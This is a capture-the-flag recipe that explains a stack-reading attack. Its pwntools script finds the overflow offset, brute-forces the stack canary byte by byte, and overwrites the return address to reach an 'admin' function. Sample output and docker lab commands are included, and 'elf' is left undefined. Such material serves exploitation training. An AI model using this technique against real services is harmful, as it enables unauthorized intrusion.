Using the stack reading technique is possible to retrieve the canary value and then reuse it and overwrite RIP to jump to the admin
function.
from pwn import *
def get_overflow_len(wait, expected):
i = 1
while i < 1000:
print(f"Trying offset : {i}")
p = remote("127.0.0.1", 1337)
p.recvuntil(wait)
p.send(b"A" * i)
res = p.recvall(timeout=0.5)
p.close()
if not res or expected not in res:
print(f"[bold][green]✓[/green]found offset :[/bold][green] {i - 1}[/green]")
offset = i - 1
return offset
i += 1
def leak_stack(wait, expected, offset, length=8):
global stop
stack = b""
for i in range(length):
for j in range(256):
p = remote("127.0.0.1", 1337)
b = j.to_bytes(1, "big")
print(f"Trying byte : {b}")
p.recvuntil(wait)
p.send(b"A" * offset + stack + b)
res = p.recvall(timeout=0.5)
p.close()
if res and expected in res:
print(f"byte found : {b}")
stack = stack + b
break
if j == 255:
stop = True
print("Unable to leak stack byte")
return stack
offset = get_overflow_len(b"Password :\n", b"Bad") #Retrieve buffer overflow offset
leaked = leak_stack(b"Password :\n", b"Bad", offset) # Retrieve stack canary
print(f"Leaked data : {hex(u64(leaked))}")
p = remote("127.0.0.1", 1337)
p.recvuntil(b"Password :\n")
p.send(b"A"*offset + leaked + p64(0) + p64(elf.symbols["admin"])) # Exploit
p.interactive()
$ python3 exploit.py
Leaked data : 0x1032ebdd91559100
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Switching to interactive mode
Congratulation
docker pull thectfrecipes/pwn:stack_reading
docker run --name buffer_overflow_stack_reading -it --rm -d -p 3000:3000 thectfrecipes/pwn:stack_reading
login: challenge
password: password